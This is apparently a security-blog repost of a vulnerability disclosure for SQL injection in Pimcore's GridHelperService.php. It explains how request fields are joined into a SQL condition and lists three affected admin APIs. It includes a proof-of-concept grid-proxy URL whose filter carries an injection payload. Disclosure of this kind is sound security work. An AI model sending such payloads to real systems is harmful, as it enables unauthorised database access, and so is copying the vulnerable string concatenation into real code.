Site icon API Security Blog

SQL injection in GridHelperService.php

# Description
In line 786, we can see “`$conditionFilters[] = $filterField . ‘ ‘ . $operator . ‘ ‘ . $value;“`. The three variables joins to a string, and the variables come from the request parameter.(Maybe line 793 is vulnerable too). The code comes from prepareAssetListingForGrid function. The function is called in AssetController.php and AssetHelperController.php, it leads sqlis in three apis.
/grid-proxy
/get-export-jobs
/get-batch-jobs

# Proof of Concept
*/grid-proxy*
“`
https://10.x-dev.pimcore.fun/admin/asset/grid-proxy?xaction=read&_dc=1649852297759&folderId=1&fields%5B%5D=preview~system&fields%5B%5D=id~system&fields%5B%5D=type~system&fields%5B%5D=fullpath~system&fields%5B%5D=filename~system&fields%5B%5D=creationDate~system&fields%5B%5D=modificationDate~system&fields%5B%5D=size~system&language=&only_direct_children=false&only_unreferenced=false&considerChildTags=0&page=1&start=0&limit=25&filter=”+encodeURIComponent(‘[{“property”:”1=1 # ~system”,”type”:”string”,”value”:”1″,”operator”:”=”}]’)
“`
Asset->click home->click list .you will see the api being called.
If you give a wrong value, you will see a error.
![image-20220413202855054](https://raw.githubusercontent.com/MyLong/PICS/main/image-20220413202855054.png)
the error log.
![image-20220413202943005](https://raw.githubusercontent.com/MyLong/PICS/main/image-20220413202943005.png)

![image-20220413203120906](https://raw.githubusercontent.com/MyLong/PICS/main/image-20220413203120906.png)

the api /get-export-jobs and /get-batch-jobs have the similar inject point.

Exit mobile version